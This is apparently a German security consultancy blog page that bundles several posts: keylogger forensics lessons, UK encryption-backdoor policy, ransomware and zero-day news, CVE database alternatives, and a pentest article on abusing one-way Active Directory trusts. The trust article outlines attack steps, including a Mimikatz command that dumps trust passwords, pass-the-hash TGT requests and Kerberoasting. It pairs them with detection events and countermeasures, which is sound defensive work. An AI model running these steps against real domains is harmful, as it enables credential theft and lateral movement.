Unfortunately, it did not appear as if the adversary had specified any FTP or SMTP credentials. This could have been a great finding and a hint towards the identity of the perpetrator. However, equipped with the WiFi password, we would finally be able to access the keylogger dashboard.

Beware of rabbit holes. For quite some time we believed that the ESP firmware may hold some value and potentially we could decode the magic log strings when we just reversed the application. We would just have to convert the binary back to an ELF and then apply Ghidra. In hindsight, that step was completely unnecessary and although we learned quite a bit about ESPs and ELFs, it was not nearly as efficient as what we did next.

Put everything back together

We desoldered the ESP from the dev-board and put it back on the keylogger. At last, we successfully connected to the WLAN of the keylogger. Following another quick read of the documentation, we navigated to http://192.168.5.1 and finally:

This was not what we anticipated. Either we had corrupted the filesystem or something weird was going on. Every page of logged keystrokes contained nothing but nonsense. However, the configuration we extracted was intact. And indeed, the dashboard displays all data as we would expect.

Even the keyboard language was setup correctly. Still, apart from the WiFi password, we had no valuable insights for the investigation. And then a random idea struck. What if the adversary had mixed up the USB devices and plugged in a mouse instead of a keyboard?

So we placed the keylogger in a test environment, plugged in a keyboard and to our surprise it was logging without a single fault. Even bigger was the relief, when we plugged in a mouse – moved and clicked it a few times – and looked at the logs again:

Only for the last two lines, we plugged in the mouse. And the output we see (notably lots of [LCtrl] and [+N]) shows significant similarities to the entire previous log.

At this point, we assessed, that the perpetrator most likely did not exfiltrate any useful information this way. Instead, with a high chance the keylogger was plugged in to USB device other than an ordinary keyboard.

Key Learnings

Keylogger forensics could uncover valuable information. Additionally, the process can be fairly straight forward. In this scenario we did not have to circumvent any physical protection mechanisms.

  • Keep it simple (reverse image searching for a simple photo of the keylogger led us straight to the relevant documentation)
  • Even though the default password was changed, retrieving it from the keylogger was as easy as running strings on the memory dump
  • Dumping the memory also allowed us to extract unencrypted log files and keylogger settings immediately
  • The keylogger configuration may contain some interesting information such as credentials for SMTP, FTP or a WiFi hotspot that could lead you straight to the adversary
  • Adversaries make mistakes too, for example placing a keylogger between a computer and the mouse cable

Kryptographie

Staatlicher Zugriff auf Verschlüsselung: Ein zweischneidiges Schwert

Der britische Online Safety Act, der im Oktober 2023 in Kraft trat, verpflichtet Online-Plattformen und Suchdienste dazu, aktiv gegen illegale und schädliche Inhalte vorzugehen. Mit dem Gesetz will die britische Regierung Dienste wie WhatsApp und Apple iMessage verpflichten, verschlüsselte Kommunikation für Ermittlungsbehörden zugänglich zu machen. Die Regulierungsbehörde Ofcom überwacht die Einhaltung der Vorschriften und veröffentlicht schrittweise Leitlinien, die ab Sommer 2025 vollständig wirksam werden sollen. Dieser Umstand stößt weitläufig auf Widerstand, da er nicht nur im Widerspruch zu deutschen, sondern auch zu EU-weiten Datenschutzstandards steht. Eine Ende-zu-Ende-Verschlüsselung gilt dabei als zentrale Schutzmaßnahme, um personenbezogene Daten vor unbefugtem Zugriff zu sichern.

https://www.nortonrosefulbright.com/en-de/knowledge/publications/0b658a5a/online-safety-act

Kleiner Einschub: Ende-zu-Ende-Verschlüsselung bedeutet, dass eine Nachricht direkt in der Anwendung verschlüsselt wird, die der Absendende nutzt – und nur die Anwendung, mit der der Empfangende die Nachricht liest, kann sie wieder entschlüsseln. Die Verschlüsselung erfolgt also nicht nur auf dem Gerät, sondern durch die konkrete App, mit der kommuniziert wird. Dadurch bleibt die Nachricht auf dem gesamten Übertragungsweg geschützt – sie kann weder unterwegs entschlüsselt noch manipuliert werden.

Bei der Transportverschlüsselung hingegen übernimmt ein Kommunikationsprotokoll wie TLS während der Übertragung die Verschlüsselung. Die Nachricht kann dabei auf Sender- und Empfängerseite oder auf Zwischenstationen im Klartext vorliegen und somit eingesehen oder verändert werden. Das ist besonders relevant, da Sendender und Empfangender beim Nachrichtenaustausch meist nicht direkt miteinander kommunizieren, sondern über Server oder andere Vermittlungsstellen.

Sowohl Apple als auch WhatsApp wehren sich juristisch gegen die britischen Pläne. Wie Meta berechtigt einbringt, kann das Vorhaben zu einem „gefährlichen Präzedenzfall“ werden, der andere Staaten ebenfalls ermutigen könnte, Verschlüsselung zu untergraben.

https://heise.de/news/Grossbritanien-WhatsApp-springt-Apple-im-Kryptokrieg-zur-Seite-10443507.html

Da die Anordnungen des britischen Innenministeriums (UK Home Office) geheim erfolgen, muss Apple juristisch Druck ausüben, um überhaupt Teile der sogenannten „Schnüffelbefehle“ offenlegen zu können. Es ist unklar, wie viele Unternehmen bereits betroffen sind.

Ein Zwang zur Implementierung von Hintertüren in iOS würde nicht nur britische Nutzende betreffen. Da Apple weltweit einheitliche Software ausliefert, wären alle Nutzenden weltweit potenziell betroffen. Die britische Regierung könnte damit global die Sicherheit von Milliarden Geräten schwächen.

Ein „Generalschlüssel“ oder eine technische Hintertür ist ein Single Point of Failure. Selbst wenn dieser Schlüssel nur für legitime Ermittlungen gedacht ist, könnte er durch folgende Szenarien kompromittiert werden:

  • Hackerangriffe auf staatliche IT-Infrastrukturen (z. B. SolarWinds, Microsoft Exchange)
  • Insider-Leaks (vgl. Edward Snowden, Reality Winner)
  • Fehlkonfigurationen oder unzureichende Schlüsselverwaltung (z. B. unverschlüsselte Key-Stores, schwache HSM-Policies)

https://www.derstandard.at/story/2000138860690/steirische-bezirkshauptstadt-feldbach-von-hackerangriff-betroffen

https://thehackernews.com/2021/11/fbis-email-system-hacked-to-send-out.html

Ein kompromittierter Generalschlüssel würde den flächendeckenden Zugriff auf private Kommunikation ermöglichen – durch jeden, der ihn besitzt.

Einmal implementierte Hintertüren lassen sich nicht selektiv nutzen. Sie können von autoritären Regimen, kriminellen Gruppen, fremden Nachrichtendiensten genauso ausgenutzt werden wie von demokratischen Behörden. Kryptografie kennt keine politischen Intentionen – nur mathematische Schwächen.

Fazit: Sicherheit durch Verschlüsselung – nicht trotz.

Die Forderung nach dem Zugriff auf verschlüsselte Kommunikation ist verständlich, aber technisch gefährlich. Staatliche Systeme sind nicht immun gegen Angriffe. Wer ihnen Generalschlüssel anvertraut, riskiert, dass diese Schlüssel früher oder später kompromittiert werden.

Starke Verschlüsselung schützt nicht nur die Privatsphäre – sie ist ein Grundpfeiler der digitalen Sicherheit und letztendlich der Demokratie.

Weitere News im Juli

Allgemein, Penetrationstest, Schwachstelle

Windows-Angriffe entgegen der Vertrauensstellung

Windows Domänen lassen sich durch Vertrauensstellungen zusammenbringen. Wird der Zugriff nur in eine Richtung benötigt kann man das Vertrauen auch nur einseitig aussprechen – aber sind damit Angriffe in die andere Richtung ausgeschlossen? Leider nicht, denn es gibt Wege um das Vertrauen entgegen der „Direction of Access“ auszunutzen. 

In dem Artikel starten wir erst mit ein paar Grundlagen, um dann den konkreten Angriff vorzustellen. Zum Schluss geben wir noch Tipps für Gegenmaßnahmen und Detektionsmöglichkeiten. 

Vertrauensstellung, was ist das? 

Eine der Kernaufgaben des Active Directory (AD) ist es dafür zu sorgen, dass Nutzer sich bei verschiedenen Diensten und Systemen im eigenen Netz anmelden können. Dafür vertrauen alle Domänenmitglieder dem eigenen Domain Controller (DC), dass dieser die Authentizität der Nutzer gut prüft. 

Aber das Vertrauen kann auch über die Grenzen einer Domäne oder eines Forests hinausgehen1. Dazu wird in beiden Domänen eine Vertrauensstellung (Trust) eingerichtet. Im einfachsten Fall ist sie beidseitig, dann können Nutzer aus beiden Domänen Ressourcen in der jeweils anderen Domäne nutzen. Aber man kann auch nur eine einseitige Vertrauensstellung (One-Way Trust) einrichten, dann können Nutzer der einen Domäne Ressourcen der anderen Domäne nutzen aber nicht umgekehrt. Hier kommt man leicht mit den Richtungen und Begriffen durcheinander, daher findet sich in jeder guten AD-Anleitung ein Bild wie dieses: 

Für unser Beispiel würde dies also so aussehen: 

Ein Angreifer, der in der vertrauten Domäne (hier PARTNER.local) ein Konto oder gar die ganze Domäne übernommen hat, kann natürlich über die Vertrauensbeziehung auch Ressourcen in der anderen Domäne nutzen (entlang der “direction of access”). Bei der beidseitigen Vertrauensstellung gilt das logischerweise in beide Richtungen, aber auch bei der einseitigen Vertrauensstellung gibt es einen Grenzfall wie ein Angreifer, der bereits den Domain Controller übernommen hat, sich entgegen der “direction of access” weiterbewegen kann: 

Kerberos über Grenzen hinweg, die Theorie 

Für die verteilte Anmeldung nutzt Active Directory das Kerberos-Protokoll, das ursprünglich aus der akademischen Welt kommt und ganz im Sinne der akademischen Zusammenarbeit auch bereits alles für die hochschulübergreifende Zusammenarbeit mitbringt. Das Konzept hinter der Vertrauensstellung heißt bei Kerberos Cross-Realm-Authentifizierung.  

Innerhalb eines Realms (oder Domäne in AD-Terminologie) meldet sich der Nutzer initial beim Authentisierungsserver (AS) an und erhält ein Sitzungsticket (Ticket Granting Ticket, TGT). Mit diesem Ticket kann der Nutzer dann beim Ticket-Granting-Server (TGS) Service-Tickets beantragen und sich dann mit diesen bei den Systemen und Services ausweisen, die er nutzen möchte. 

Für die Cross-Realm-Authentifizierung wird dann einfach der fremde TGS wie ein Dienstserver im eigenen Realm betrachtet. Der Nutzer fragt also seinen Heimat-TGS nach einem Ticket für den Fremd-TGS. Dieses Ticket funktioniert dann analog zu einem TGT im anderen Realm. Der Nutzer beantragt mit diesem dann ein Service-Ticket beim Fremd-TGS für den eigentlichen Service, den er nutzen möchte. In beiden Schritten werden die gleichen Befehle ausgetauscht. 

In der Praxis sind der TGS und der AS keine getrennten Server, sondern zwei Funktionen des Key Distribution Centers (KDC), die beide über den UDP-Port 88 erreicht werden. In der Windows-Welt ist das ein Service auf dem Domain Controller.  

Um den Angriff gleich verstehen zu können, müssen wir noch einen Schritt tiefer gehen. Die Tickets, die bei Kerberos immer wieder ausgetauscht werden, sind Datenstrukturen, die mit einem symmetrischen Schlüssel verschlüsselt sind. Diese Schlüssel werden für Nutzer, Services und auch die Zwischenschritte am TGS in Principals gespeichert. Die Schlüssel für die Sitzungstickets (TGT) sind beispielsweise im Principal “krbtgt” gespeichert. 

Für den ersten Schritt, die initiale Anmeldung am AS, basiert der Schlüssel auf dem Nutzerpasswort. Für die anderen Fälle sind auch andere Wege möglich, aber in Windows wird für die Fälle, in denen kein Nutzer involviert ist, einfach ein zufälliges Passwort generiert und daraus der Schlüssel abgeleitet. 

Innerhalb einer Domäne bzw. eines Realms ist das auch einfach, da wir hier ja über eine zentral verwaltete Principal- bzw. Benutzer-Datenbank reden. Wenn wir jetzt aber die Grenzen überschreiten wollen, muss es in beiden Datenbanken einen gleichartigen Eintrag mit dem gleichen Schlüssel (also dem gleichen Passwort) geben. Auf der einen Seite der Grenze, um das Ticket verschlüsseln zu können, und auf der anderen Seite, um es wieder entschlüsseln zu können.  

Die Umsetzung im AD 

Jetzt wollen wir uns anschauen, was bei einer Vertrauensstellung in einem Windows Active Directory (AD) passiert. 

Das Trusted Domain Object (TDO) 

Um sich zu merken, mit welchen anderen Domänen oder Forests eine Vertrauensstellung existiert, wird pro Vertrauensstellung im “System”-Container der dazugehörigen Domänen (bzw. den Root-Domänen bei Forest-Trusts) jeweils ein Objekt angelegt – ein sogenanntes Trusted Domain Object (TDO). Auch bei einseitigen Vertrauensstellungen wird an beiden Enden ein TDO angelegt (einmal als eingehende, einmal als ausgehende Vertrauensstellung).  

In den Attributen des Objekts werden alle Einstellungen für die Vertrauensstellung gespeichert. In dem Objekt wird zudem ein Passwort für das TDO gespeichert. Und zwar zum einen wie man es sonst von Benutzern und Computern kennt als Hash bzw. abgeleiteter Schlüssel und in diesem Fall zusätzlich auch im Klartext. Das Passwort wird automatisch alle 30 Tage geändert und – um Störungen beim Passwortwechsel vorzubeugen – wird jeweils das aktuelle sowie das vorherige Kennwort im TDO gespeichert. Das Passwort, und das ist wichtig, ist für beide Objekte gleich. 

Das Objekt kann man in der MMC unter “Active Directory-Benutzer und -Computer” sehen, wenn man zuvor unter “Ansicht” die “Erweiterten Features” aktiviert hat. Dort findet es sich dann unter dem vollen Namen der jeweils anderen Domäne. 

Auf dem HISOCORP-DC
Auf dem PARTNER-DC

Der versteckte User 

Das es auf beiden Seiten einen gleichartigen Eintrag mit dem gleichen Schlüssel geben muss, hatten wir schon bei der Kerberos-Theorie gesehen. In der Windows-Welt sind die beiden TDO aber nicht die einzigen Repräsentanten der Vertrauensstellung. 

Schaut man sich die Nutzerliste auf der Seite der vertraueten Domäne (bei uns PARTNER.local) z. B. im ADSI-Editor etwas genauer an, findet sich dort ein User dessen Namen an die vertrauenden Domäne erinnert – in unserem Fall finden wir einen Benutzer HISOCORP$. 

ADSI-Editor auf dem PARTNER-DC.

In vielen anderen Ansichten wie der MMC wird der Nutzer ausgeblendet. Praktischerweise hat dieser versteckte Benutzer das gleiche Passwort, das auch in beiden TDO-Objekten im Klartext gespeichert wird. 

Der Angriff entgegen der Vertrauensrichtung 

Nach so viel Theorie und Grundlagen wollen wir jetzt endlich schauen, wie wir das Vertrauen gegen den Strom ausnutzen können. Noch einmal zur Erinnerung: Wir wollen gegen die erlaubte “Direction of Access” arbeiten. 

Der Trick ist jetzt, dass der versteckte Nutzer in der vertrauten Domäne ein fast normaler Nutzer ist, und wir sein Passwort kennen. 

Dann besteht der Angriff aus diesen Schritten: 

  1. Die vertrauende Domäne kompromittieren (in unserem Beispiel HISOCORP.local) 
  2. Auf dem kompromittierten DC das Passwort aus dem Trusted Domain Object (TDO) auslesen
  3. Mit dem bekannten Nutzernamen und dem ausgelesenen Passwort bei der vertrauenden Domäne (in unserem Beispiel PARTNER.local) anmelden. Also ein TGT beziehen.
  4. Mit dem TGT können jetzt Dienst-Tickets bezogen werden und ggf. Dienste genutzt werden. 

Auf Schritt 1 gehen wir nicht näher ein. Für die folgenden Schritte nehmen wir an, es ist bereits gelungen die Domäne zu kompromittieren und Zugriff auf einen Domain Controller (DC) zu erlangen. Das ist keine kleine Annahme und damit haben wir bereits vollen Zugriff auf alle Ressourcen auf dieser Seite der Vertrauensstellung. 

Auf dem DC können wir jetzt für Schritt 2 das bekannte Tool Mimikatz nutzen. Für das Auslesen des TDO gibt es einen eigenen Befehl: lsadump::trust /patch 

Im TDO ist das gemeinsame Passwort im Klartext gespeichert – in der Ausgabe oben jedes Zeichen als eine Hexadezimalzahl nach dem Stichwort „CLEAR“ – sowie verschiedene Hashwerte vom Passwort.  

Den NT-Hash (rc4_hmac_nt) können wir direkt für Schritt 3 nutzen. Die beiden anderen Hashes/Schlüssel wurden mit einem anderen Salt erzeugt und entsprechen daher nicht den Hashes, die bei der vertrauten Domain im versteckten Nutzer gespeichert sind. Aber wir kennen jetzt ja das Klartextpasswort und die Berechnungsformel für die Nutzer-Schlüssel, können also diese beiden Werte auch selbst berechnen. 

Wir nehmen in Schritt 3 den einfachsten Weg und melden uns direkt mit dem erbeuteten NT-Hash an. Dafür bietet sich beispielsweise die impacket-Suite an. Damit können wir direkt ein TGT beziehen: 

Das TGT können wir in Schritt 4 dann zum Beispiel für einen Zugriff auf eine Dateifreigabe per SMB nutzen: 

Im Beispiel wird auf die SYSVOL-Freigabe des fremden DC zugegriffen. Das geht, weil diese Freigabe grundsätzlich von allen Nutzern (Gruppe „Domänenbenutzer“) gelesen werden kann.

Da der Nutzer in der normalen Administration nicht sichtbar ist, ist er weder Mitglied in anderen Gruppen noch wurde der User selbst für Dienste oder Zugriffe explizit berechtigt. In einem realen Netz finden sich aber auch häufig weitere Freigaben und Dienste, die alle gemeinsam nutzen und die für die allgemeine Gruppe der Domänenbenutzer freigegeben sind. 

Bei der Bewertung von Sicherheitslücken wird immer unterschieden, ob sie auch ohne Login oder nur nach erfolgreicher Authentifizierung möglich sind. Und genau diesen Sprung zum authentifizierten Angreifer konnten wir jetzt machen, unabhängig davon wie wenig Rechte dem versteckten Nutzer eingeräumt wurden.  

Ein Beispiel sind Kerberoasting-Angriffe, die darauf abzielen, Service-Konten zu übernehmen, die nicht mit einem zufällig automatisch generierten Passwort, sondern mit einem menschlich erdachten Passwort gesichert sind. Einzige Voraussetzung für diesen Angriff ist der Zugriff auf ein funktionierendes Nutzerkonto in der Domäne. Dieser Nutzer muss gar keine Zugriffsrechte für den zu knackenden Dienst haben, daher funktioniert der Angriff auch mit dem versteckten Nutzer: 

Im Anschluss haben wir Zugriff auf ein Nutzerkonto mit mehr Zugriffsrechten, meist sogar einigen administrativen Rechten und können uns so immer weiter in der Partner-Domäne ausbreiten. 

Mögliche Detektions- und Gegenmaßnahmen 

In den nächsten Abschnitten wollen wir uns anschauen, wie man sich gegen diese Art von Angriffen wappnen kann und auch kurz Maßnahmen besprechen, die zwar naheliegend klingen, aber nicht wirken.  

All diese Maßnahmen zielen auf die Sicherheit der vertrauten Domäne (in unserem Beispiel PARTNER.local). Für die vertrauende Domäne (in unserem Beispiel HISOCORP.local) gibt es unabhängig von dem hier geschilderten Problem auch einiges zu beachten, um nicht durch die Vertrauensstellung Probleme zu bekommen. Da dies aber der geplante Zugriffsweg ist, gibt es dazu bereits passende Anleitungen. 

Detektion 

Das versteckte Nutzerkonto für die Vertrauensstellung wird nie als Nutzer im eigentlichen Sinn verwendet. Daher sind jegliche Aktivitäten mit der Nutzerkennung (Muster <Domänenkürzel>$) wie das Ausstellen eines TGT (Windows Event 4768), eines Service Tickets (Anfordern Windows Event 4769, Erneuern Windows Event 4770, Fehler Windows Event 4773) oder eine Anmeldung ein eindeutiges Zeichen für eine Ausnutzung.  

Gegenmaßnahmen 

Auf verschiedenen Wegen kann die Anmeldung mit dem versteckten Nutzerkonto verhindert werden. 

Die Systeme der beiden Domänen befinden sich meist auch in unterschiedlichen Netzen, daher kann per Firewall der Zugriff auf Port 88 zum Domain Controller der vertrauten Domäne (in unserem Beispiel PARTNER.local) vom Netz der vertrauenden Domäne (HISOCORP.local) gesperrt werden. In die umgekehrte Richtung ist der Zugriff nötig, damit Nutzer sich Service Tickets für freigegebene Dienste der vertrauenden Domäne ziehen können, in dieser Richtung jedoch nicht. Damit wird der Angriff verhindert, wenn der Angreifer aus dem anderen Netz agiert. Hat der Angreifer unabhängig von der Kompromittierung der vertrauten Domäne auch bereits Netzwerkzugriff auf Systeme der vertrauten Domäne, hilft die Firewallregel nicht. 

Die Nutzung des versteckten Kontos kann auch per GPO unterbunden werden. Dafür muss die Regel „Zugriff vom Netzwerk auf diesen Computer verweigern“ erstellt werden und dort dann manuell das Konto (in unserem Beispiel HISOCORP$) eintragen werden. Der Kontoname muss händisch eingegeben werden, da bei der „Durchsuchen“-Funktion das Konto auch ausgeblendet ist. Wenn die GPO wirksam ist, kann zwar weiterhin ein TGT für dieses Konto bezogen werden, aber keine Servicetickets. Damit geht auch kein Zugriff auf Dienste (wie Dateifreigaben) oder der oben geschilderte Kerberoasting-Angriff. 

Als weitere Verteidigungsschicht können die Zugriffsrechte für den Nutzer eingeschränkt werden. Der Nutzer ist automatisch Mitglied in der Gruppe „Domänenbenutzer“ und gehört auch zur Gruppe „Benutzer“. Dienste und Dateien sollten nicht für eine der beiden Gruppen freigegeben werden, auch wenn sie von allen genutzt werden sollen. Stattdessen bieten sich für solche Freigaben eine zusätzlich gepflegte Gruppe mit allen aktiven Nutzern an. 

Ergänzung (06.08.2025, vielen Dank für die Rückmeldung von Evgenij Smirnov):

Eine Alternative zu der Einschränkung per GPO ist die Nutzung der sogenannten Authentication Policys und Authentication Policy Silos. Über diese Technologie von Microsoft kann feingranular gesteuert werden, wo eine Anmeldung mit einem spezifischen Konto erlaubt ist. Dazu wird das Konto mit einer „leeren“ Policy verknüpft, die wiederum einem Silo zugewiesen ist. Erstellt man eine neue Policy, weist den Trust-Nutzer (in unserem Beispiel HISOCORP$) dieser zu und lässt die erlaubten Anmeldestationen allerdings leer – so ist mit dem Konto keine Anmeldung mehr möglich.

Ein Wechsel auf Windows Server 2025 schränkt die Ausnutzbarkeit teilweise, aber nicht vollständig ein. Dort ist der Trust-Nutzer (in unserem Beispiel HISOCORP$) nicht mehr in der Gruppe der Domänenbenutzer sondern in der Gruppe „External Trust Accounts“. Damit sind nicht mehr ganz so viele Ressourcen nutzbar, aber Ressourcen, die für „alle“ oder „Authentifizierte Nutzer“ freigegeben sind, sind weiterhin im Zugriff. Über den Nutzer können auch weiterhin Service-Tickets bezogen werden, z.B. für das oben beschriebene Kerberoasting.

Maßnahmen, die nicht wirken 

Es gibt einige Gegenmaßnahmen, die sehr naheliegend klingen, aber tatsächlich nicht umsetzbar oder hilfreich sind.  

So kann der versteckte Nutzer nicht einfach deaktiviert oder gelöscht werden, entsprechende Versuche führen direkt zu Fehlermeldungen.  

Bei Windows Server 2022 und früheren, hat der Nutzer als primäre Gruppe die Gruppe „Domänenbenutzer“. Das ist eine automatische Gruppenzuordnung, das heißt man kann zwar eine andere primäre Gruppe eintragen aber der Nutzer wird dennoch immer Mitglied der „Domänenbenutzer“ bleiben. Beim Windows Server 2025 gibt es dagegen eine eigene Gruppe „External Trust Accounts“ und der Nutzer ist nicht mehr automatisch Mitglied bei den „Domänenbenutzern“, aber automatisch in „alle“ und „Authentifizierte Nutzer“. (Infos zu Windows Server 2025 am 06.08.2025 ergänzt)

Fazit 

Aus einer einseitigen Vertrauensstellung zwischen Domänen kann sich damit auch ein Risiko entgegen der „Direction of Access“ ergeben. Wird die eine Domäne kompromittiert erhält der Angreifer auch das Passwort für einen versteckten Nutzer in der anderen Domäne. Der hat zwar kaum Zugriffsrechte, aber kann als erster „Fuß in der Tür“ für weiterführende Angriffe genutzt werden. 

Da Risiko lässt sich aber durch Firewallregeln, GPOs und gutes Rechtemanagement adressieren. Ein erfolgreicher Angriff lässt sich auch eindeutig in den Windows Events identifizieren. 

  1. Im Folgenden werden wir der Einfachheit halber immer von einer Domäne sprechen, da sich ganze Forests in diesem Fall wie eine Domäne verhalten ↩︎

Ransomware

High-Street Retailer im Ziel von Ransomware-Gruppen

Anfang des Monats kam es zu einer Reihe von Vorfällen bei bekannten Einzelhandelsunternehmen aus UK. Co-op Group, Marks and Spencer und Harrods berichteten von Angriffen, die – außer bei Harrods – für lange Ausfälle und vermutliche Datenexfiltration sorgten. Die als Dragonforce bekannte Gruppe bekannte sich zu den Angriffen und kündigte weitere an.

Besonders spannend an den Vorfällen sind die verschiedenen Vorgehensweisen, wie die Unternehmen einerseits technisch reagieren, aber insbesondere auch die Krisenkommunikation vornehmen. Aufgrund der mittlerweile weit verbreiteten Erkenntnis, dass Angriffe auf die IT-Infrastruktur durchaus mal vorkommen, haben wir in Vorfällen die Erfahrung gemacht, dass Transparenz grundsätzlich eine solide Basis der Kommunikation darstellt. Kunden und Dienstleister fühlen sich so direkt involviert und müssen keine Vermutungen anstellen. Darüber hinaus behält man auch nach außen hin die Kontrolle über die Diskussion und kann Neuigkeiten direkt steuern.

Eine weitere Überlegung in diesem Vorfall ist die oft gestellte Frage, ob man in diesen Situationen zahlen sollte oder nicht. Es verbleibt zwar stets eine Einzelfallentscheidung, die je nach Umgebung einzuordnen ist, aber grundsätzlich gibt es viele Nachteile nach einem Bezahlen. Dazu können wir den Artikel von @GossiTheDog@cyberplace.social empfehlen. Die wichtige Erkenntnis: Die Behandlung eines Vorfalles wird durch eine Bezahlung nicht unbedingt schneller. Vorfälle dieses Ausmaßes werden noch Wochen oder Monate später behandelt, und mit dem Bezahlen steht auch die Umgebung nicht plötzlich wieder.

Ebenfalls ist es nicht zu empfehlen, wiederhergestellte Systeme einfach wieder in Betrieb zu nehmen. Oft wird die Umgebung komplett neu aufgebaut, und es findet lediglich eine Datenmigration statt, die aber auch wieder Arbeit und Organisation erfordert. Für diese Fälle zeigt die Praxis, dass sich eine Vorbereitung in Form eines Wiederanlaufplanes sehr nützlich macht. Dabei können bereits einfache Überlegungen zu kritischen Prozessen und ihren technischen Abhängigkeiten dazu beitragen, im Krisenfall besser reagieren zu können.

https://doublepulsar.com/big-game-ransomware-the-myths-experts-tell-board-members-03d5e1d1c4b7

Weitere News im Juni

Woher kommen eigentlich Zero-Days?
Schwachstelle, Zeroday

Woher kommen eigentlich Zero-Days?

Nachtrag (2025-05-16): Nach Hinweisen einiger Lesender haben wir die Definition von Zero-Days am Anfang des Artikels angepasst. Vorher benannten wir Zero-Days als „Lücken, die am heutigen Tage bekannt werden“. Dies sorgte daraufhin intern für eine (akademische) Diskussion zu dem Thema, die allerdings am Ziel des Beitrages vorbei ging. Insbesondere war dies verwirrend im Kontext des referenzierten Beitrages der GTIG, deren Definition wir in der aktuellen Version übernommen haben. Vielen Dank für die Hinweise!

Sicherheitslücken ohne verfügbaren Patch oder Mitigation, die bereits ausgenutzt werden, nennt man Zero-Days. Besonders interessant sind diese Lücken offensichtlich für Angreifende, wenngleich auch Admins Diese im Blick behalten sollten. Aber wer findet eigentlich Zero-Days?

Ein prominenter Player in dem Bereich ist die Google Threat Intelligence Group (GTIG). Im Jahresbericht zu 2024 zieht sie Bilanz zu Zero-Day-Aktivität und -Attribution und was man daraus lernen kann. Neben einigen durchaus spannenden Zahlen zum Thema „ausgenutzte Systeme“ war für uns vor allem der Absatz zu Attribution relevant. Solche Zahlen sind zwar grundsätzlich mit Vorsicht zu genießen, da eine direkte Zuordnung oft sehr schwierig ist. Die GTIG hat „nur“ 34 der 75 erkannten Zero-Days attributiert. Wenn man die Methodik akzeptiert, dann ordnet sie 15 Ausnutzungen staatlichen Akteuren zu. Weitere acht wurden durch kommerzielle Anbieter, wie z. B. Cellebrite, genutzt.

Da auch diese Händler oftmals für staatliche Akteure tätig sind, kann man einen beunruhigenden Trend erkennen: Die Ausnutzung von Zero-Days wird vermehrt durch staatliche Akteure gesteuert und finanziert, also auch direkt durch Steuergeld.

https://www.heise.de/news/Steuergeld-finanziert-Angriffe-mit-Zerodays-10367137.html

https://cloud.google.com/blog/topics/threat-intelligence/2024-zero-day-trends?hl=en

Hier gibt es weitere News aus dem Mai

Allgemein, Risikomanagement, Schwachstelle, Supply Chain

Drohende Abschaltung der CVE-Datenbank und mögliche Alternativen

Kurz vor Ostern schreckte eine Nachricht des CVE-Teams die Sicherheitswelt auf. Die Finanzierung des CVE-Programms stand auf der Kippe und im Extremfall wäre einen Tag später bereits Schluss gewesen. Der Aufschrei war zu Recht groß und so konnte der Betreiber MITRE eine Vertragsverlängerung bis Anfang nächsten Jahres erreichen. Aber was kommt dann?  

In diesem Blogpost wollen wir mit etwas Abstand zu den Ereignissen zusammenfassen, welche Alternativen in der Diskussion um eine mögliche CVE-Abschaltung oft genannt wurden und ob sie tatsächlich in die Fußstapfen von CVE treten könnten.  

Anwendungsfälle

Zuerst wollen wir uns kurz anschauen, wo wir und viele unserer Kunden Berührungspunkte mit CVE haben. Es gibt darüber hinaus weitere Anwendungsfälle, aber für diese häufigen Nutzungen wollen wir uns im Folgenden die Alternativen anschauen. 

Risikomanagement im ISMS 

Beim Thema Informationssicherheit denken viele Laien als Erstes an die Sicherheitsupdates, die ihre Geräte regelmäßig von ihnen fordern. Im professionellen ISMS kommt noch dazu, dass einige Updates nur mit einer Betriebsunterbrechung eingespielt werden können oder unerwünschte Nebenwirkungen haben. Es muss also eine bewusste Entscheidung zwischen dem neu hinzugekommenen Sicherheitsrisiko und den betrieblichen Einschränkungen getroffen werden. Wenn eine Sicherheitslücke bereits bekannt ist, aber noch kein Patch verfügbar ist, wird die Entscheidung zwischen Abschalten und Risikoakzeptanz noch herausfordernder. 

Die reinen CVE-Nummern können in dem Anwendungsfall bei der weitergehenden Recherche helfen oder teilweise den Abgleich von verschiedenen Prüfformen ermöglichen (z.B. ob die im Pentest erkannten Lücken, bereits aus einem anderen Audit adressiert werden). 

Meist nutzt man jedoch auf CVE-basierte Datenbanken wie die National Vulnerability Database (NVD) der US-Regierung oder Ableitungen davon, die bereits eine allgemeine Risikobewertung mitbringen. Damit können bereits erkannte Risiken schneller und ressourcensparsam vorbewertet werden. Das konkrete Risiko für die jeweilige Betriebssituation muss man dennoch individuell bewerten (z.B. ob die betroffene Funktion überhaupt genutzt wird). 

Außerdem nutzen viele Informationsdienste und Vulnerability-Management-Tools CVE-basierte Datenbanken, um auf neu bekanntgewordene Schwachstellen hinzuweisen. Im besten Fall wählt man als Betreiber alle genutzten Softwareprodukte aus und wird dann aktiv auf neue Schwachstellen hingewiesen. 

Schwachstellenscan für Container 

Für Betreiber von containerisierten Services ist das Scannen von Containern bzw. Container-Scanning ist ein weiterer Anwendungsfall für die Nutzung von CVEs.  

Dabei werden Container-Images auf Sicherheitslücken überprüft. Zuerst wird analysiert, welche OS-Pakete, Dependencies und weitere Software in dem zu scannenden Image benutzt werden, z.B. openssl. Anschließend werden die Findings (Name der Komponente sowie Versionsnummer/-stand) mit den gängigen CVE-basierten Datenbanken wie NVD abgeglichen. Sollten bekannte Schwachstellen identifiziert werden, wird dies an das Scanning-Tool zurückgemeldet und das Tool erstellt auf Basis dieser Informationen einen Bericht. 

Der Bericht enthält dann. welche CVE gefunden wurde, wie schwerwiegend diese ist bzw. wie hoch ihr CVSS-Score ist, wo im Image die Schwachstelle gefunden wurde, und es werden in den meisten Fällen auch direkt Mitigationsmaßnahmen empfohlen. Diese Maßnahmen beziehen sich entweder auf ein Update/Upgrade der verwendeten Version auf die nächste sichere Version oder auf geeignete Konfigurationen, um die Sicherheitslücke zu schließen. 

Gängige Tools, die man für Scanning verwenden kann, sind u.a. die OpenSource Tools Trivy sowie Clair. Kommerzielle Tools, die z.B. auch einen erweiterten Support zur Verfügung stellen können oder weitere Funktionen haben, sind Snyk sowie JFrog.

Verwendet man Container-Scanning in seiner Infrastruktur, hat man den großen Vorteil, dass Schwachstellen noch vor dem Deployment entdeckt werden können. Auch ist das Container-Scanning in CI/CD-Pipelines automatisierbar und bietet so eine weitere Dosis Sicherheit. 

Software Supply Chain 

Nicht nur Betreiber, sondern auch Softwareanbieter benötigen ein Risikomanagement. Sicherheitsrelevante Fehler in genutzten Komponenten, Bibliotheken und Hilfstools können sich auch auf die ausgelieferte Software übertragen. Angriffe, die gezielt auf diese Vererbung der Sicherheitslücken abzielen, werden Software-Supply-Chain-Angriff genannt. 

